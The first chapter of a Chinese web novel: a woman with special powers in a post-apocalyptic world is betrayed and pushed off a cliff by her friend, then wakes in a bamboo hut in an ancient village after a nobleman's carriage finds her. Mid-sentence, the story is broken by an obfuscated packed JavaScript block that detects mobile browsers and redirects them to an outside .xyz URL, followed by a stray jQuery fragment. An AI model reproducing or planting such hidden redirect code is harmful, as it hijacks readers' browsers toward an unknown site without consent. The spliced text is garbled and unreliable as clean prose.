1. 悬崖下

作品:《今天也要努力种田!

    “阿秋。”


    徐思颜上前一步紧紧地抱住了白秋,手臂不断收紧,仿佛这就是他们之间最后一个拥抱。


    被抱住的白秋眼睛睁大,有些震惊。


    要知道平常这么脆弱粘人的思颜可不常见,白秋抬起手臂,刚想也回抱她。


    熟悉的精神系异能波动突然出现,下一秒,白秋就浑身僵硬,连话都说不出来一句。


    “阿秋,对不起……”


    白秋无比熟悉的女声有些颤抖,带着痛苦与挣扎。


    控制一个强大的异能者并不容易,徐思颜由于异能使用过度而无比苍白的脸从白秋的颈窝抬起。


    她的神色还是如往常一般温柔,可此时却带着些冷酷的释然。


    为了防御外敌,洛城基地的背面是一处高耸陡峭的悬崖,对于外人来说这里可能是一处危险之地。


    但对于白秋来说,这里是她年少时起,就跟思颜走过了每一条小道、摸过每一颗山石的秘密基地。


    白秋想过自己可能会死在丧尸的围攻下,死在枪林弹雨的争斗中,可她没想到,自己生命的终结点,竟会是在这里。


    纤白的手掌轻轻一推,白秋僵硬的身体猛地向后方深不见底的悬崖倾斜。


    徐思颜下意识地伸出手,可最后还是看着白秋难以置信的黑白眼眸消失在了视野中。


    “……阿秋。”


    仿若呢喃的一声响起,可惜再也没有人能回应。


    站在悬崖边的人影逐渐在白秋的眼睛里缩成一个细小的黑点,巨大的风声灌进耳朵,原本就不算明亮的天光骤然熄灭。


    坠落到崖底被碎地粉碎的那一瞬间是感觉不到痛苦的,甚至是死亡前一秒钟,白秋还来不及怨恨,她只是在想:


    【为什么呢,思颜?】


    “嘭——”


    白秋陷入了深沉的永眠。


    ——————


    明远县外,青山崖下。


    一驾黑马素车无声无息地驶过,驾车人风尘仆仆,黑发略有些凌乱,乡间的小道上被带起微微的尘土。


    春寒料峭,渗着些冷意的风掀起布帘卷进车内。


    从外面看着明明极为狭小的车厢,可内里却别有乾坤。


    车厢的正中放了一方乌木小桌,上方一个镂空雕花炭盆被牢牢固定着,周围铺满了长毛的浅色兽皮,几个软枕被随意摆放着。


    盆中的炭烧的发红,这想来也是极好的炭,发暖不生烟,让整个不大的空间都氤氲着淡淡热意。


    可偏偏车厢内的唯一载客,最是能敏锐察觉出这悄悄穿入的冷面春风。。


    “咳咳——”一串略有些压抑的咳声传了出来。


    出声的人靠坐在车厢内侧,当曾经一切权柄带来的巨大威压褪去时,如今他所显露出的,才是最本真的颜色外表。


    黑直的长睫轻轻颤动,在其下隐藏着的,是如出一辙的深黑眼眸,他的眉骨很高,眼窝深邃,眼尾上挑,是一双不折不扣的含情目。


    可偏偏鼻高唇薄,又显得薄情极了。


    不过再如何俊美多情,从前也是无人敢多看、敢非议的。


    一线日光从缝隙中照射进来,在柳易清手上打下一道微暖的刻痕,他骨节分明的修长手掌动了动,埋藏在其中的青紫经络上下起伏。


    他此时也还穿着从前惯穿的深色衣裳,更显得皮肤苍白。


    不只是驾车人,多日的颠簸使柳易清的神色也稍显疲惫,不过他们现在已经离目的地不远了,且距离皇城天子脚下,更是隔了十万八千里。


    被凉风一吹更觉室内闷气,柳易清索性将眼前的布帘挑了起来。


    青绿的景色映入眼帘,他自己也不得不承认,这的确是有别于京城的生机勃勃。


    不过,前面的那团黑影是什么东西?


    柳易清凝眸。


    坐在前方的驾车的柳命自然比他看的清,提声道:“先生,前面那好像是个人!”


    言语间,竟还有几分跃跃欲试。


    “过去瞧瞧。”车厢里传来指示。


    马车疾跑几步,柳命也伸长了脑袋去看这个在他们必经之路“埋伏”着的,究竟是什么东西。


    没过一会,只隔着一层布帘,柳易清很容易就就听到了柳命发的牢骚:


    “啧,怎么不是刺客……”


    空无一人的道路上,竟是躺着一个未穿外袍的女子,她的身上净是尘土血迹,伤痕累累的娇小身躯无助地蜷缩在一起。


    “先生,这路上躺着个人,看上去还挺可怜的。”柳命略微提高了点声音,意有所指地说。


    车厢里一片安静,无人回应。


    柳命挑挑眉,故意又提高了一点声音说:“唉,这姑娘也真是倒霉,怎么就恰好碰见我们这种冷血无情,只会见死不救的人呢,没办法,那就让她自生自灭吧!”


    “……等等。”柳易清的声音向来都是好听的,声如贯珠,清朗似玉石相击。


    不过柳命关注的可不是这些,听到柳易清阻止的话语,他嘴角的笑意扩大,故意曲解他的意思:


    “怎么了主子,我们是要从她身上压过去,让她早早结束痛苦吗?不得不说,还是主子您高啊!”


    “……”一声轻叹仿若错觉。


    “将她放上来罢。”


    “是,先生!”


    马蹄咚嗒作响逐渐走远了,只剩黄土坚实的道路上残留着几滴血迹。


    一旁的青山崖陡峭高耸,只有几株野草艰难地存活着。


    晨光下,马车本就不快的速度更慢了些,晃晃悠悠、不紧不慢地赶往他们的最终目的地——桃源村。


    ——


    【白秋,基地并不需要你这种任性妄为的人,听我们的命令行事很难?】


    【阿秋,对不起……】


    过往的一切在白秋的脑海里盘旋,快乐的、吵闹的、让人难以忘记的声音与画面错杂交替,吵的她不得安宁。


    怨恨或是不解,愧疚或是解脱,白秋这短暂的一生做过很多“错事”。


    但她还有很多事没来得及做,她还不知道她最信任的那个人为何要把她置于死地……


    要是时光能够倒流,要是能够从来一次……


    白秋无意识地蹙眉,失去血色的侧脸蹭动着身下并不太细腻的布料,长且翘的黑色羽睫颤动,薄薄的眼皮轻轻起伏。


    阴间也有太阳吗?


    白秋原本黑亮的眼睛此刻无神地微睁着,有些怔松地看着隔窗倾洒下来的大片明媚日光。


    末世的天空从来都是灰暗的,无边际的黑沉,让人从来不敢抬头看。


    自白秋记事以来,除了在百年前末世还未开始时遗留下的旧时影片中外,她还从未见过如此灿烂且温暖的东西。


    伤痕累累的身体再一次正常运行,白秋的第一反应却是那如同噩梦一般的背叛,竟然是发生过的现实。


    坠崖前还没反应过来的情绪迟钝地涌上心头,不过一切的回想也只在几瞬,下一秒,无


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14878787|159701||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    比陌生的环境就迫使白秋转移了注意力。


    这好像是一座用竹子搭建的屋子,四周摆放着的家具简单,但却都是白秋没见过的形制,隐约透着一股古朴风。


    坠崖时不断磕碰出的伤口仍然泛着隐痛,可是她原本穿着的衣服已经被换了一身,坐起来前她的身上还好好地盖着轻软的被子,洁白的布条缠绕在白秋的伤口上。


    谁救了她?


    还有,这是…什么地方?


    末世149年还有这种地方吗?


    不对!


    以前的影片里她也看到过,她这种情况,好像叫……


    穿越?!


    “你醒了?”轻盈的竹门在白秋尚在震惊于自己的新结论时被悄然推开,可紧接着传来的温柔女声实在让白秋提不起很大的防备。


    来人一身朴素的浅色衣服,月白色的发巾将她黑色的长发盘起,只余额前几缕碎发柔顺的垂着。


    “哎呀,受了这么重的伤怎么还自己做起来了,怎么样,还有哪里很痛吗?”


    月娘轻轻蹙起眉,快走几步,满脸关切地坐在了白秋的床边,过来时身上还带着浅淡的香气。


    仅存的一点点警惕也不知不觉地被消磨掉,白秋到现在也还是没学会应对这种温和的、毫无攻击性的人。


    一肚子的疑问也被堵在喉咙里,白秋圆溜溜的眼睛刚对上来人的看过来的视线,就下意识地偏开了,她细白的手指揪住被角,稍显窘迫地憋出了句:


    “……不疼。”


    其实很少有人跟白秋说过,她的长相是偏向幼态的,多年的开荒生涯磨掉了她最后一点婴儿肥,不过还是看着脸小鼻翘,眼睛也幼幼圆圆,跟她的那充满攻击性的力量系异能完全大相径庭。


    所以月娘看着此时蜷缩在被窝里,看她的眼神还带着掩藏不住的不安与警惕的人儿时,心中更添爱怜,声音愈加放柔:


    “你叫什么名字?”


    “白秋。”


    “那……小秋?”


    白秋的手指几乎要把被子搅破了,顶着这人让她感到无比奇怪的、坐立不安的视线,轻轻“嗯”了一声。


    白秋隐约知道,从前那些人他们私底下对她的评价,都是冷漠,甚至是不好相处的。


    但其实,她只是不知道怎样跟一个全然陌生的人打交道,也有些厌倦这样做了。


    总是游走在生与死之间的小队,上一秒再怎样鲜活的人,下一秒也会像脆弱的蒲公英一样绽开血色的花……


    时间一长,她的神情也越来越冷淡,话也越来越少,而她基本的社交技能,都被用在了她为数不多几个好友身上。


    所以到底谁能来告诉她,该如何去面对一个陌生,但却对你没有威胁性甚至是救了你的好心人呢?


    反正白秋此时的感激中,是带了些惶恐,甚至是不安的。


    “那……小秋,你昏迷了一天一夜,现在饿不饿?想不想吃饭呢?”月娘问。


    吃饭?!他们救了她已经是大恩了,食物那么珍贵,她还什么都没有为他们做,怎么还能吃他们的食物!


    白秋立马坐起了身子,忙道:“我不饿,我不吃……”


    “咕——”


    突如其来的声音让白秋想死的心都有了。


    果不其然,月娘轻轻地笑了声,眼角带起淡淡的纹路,只留下了句:


    “小秋好好待在这,我把饭菜端进来。”


    白秋泛红的脸埋在了被子里,心里发出无声的尖叫。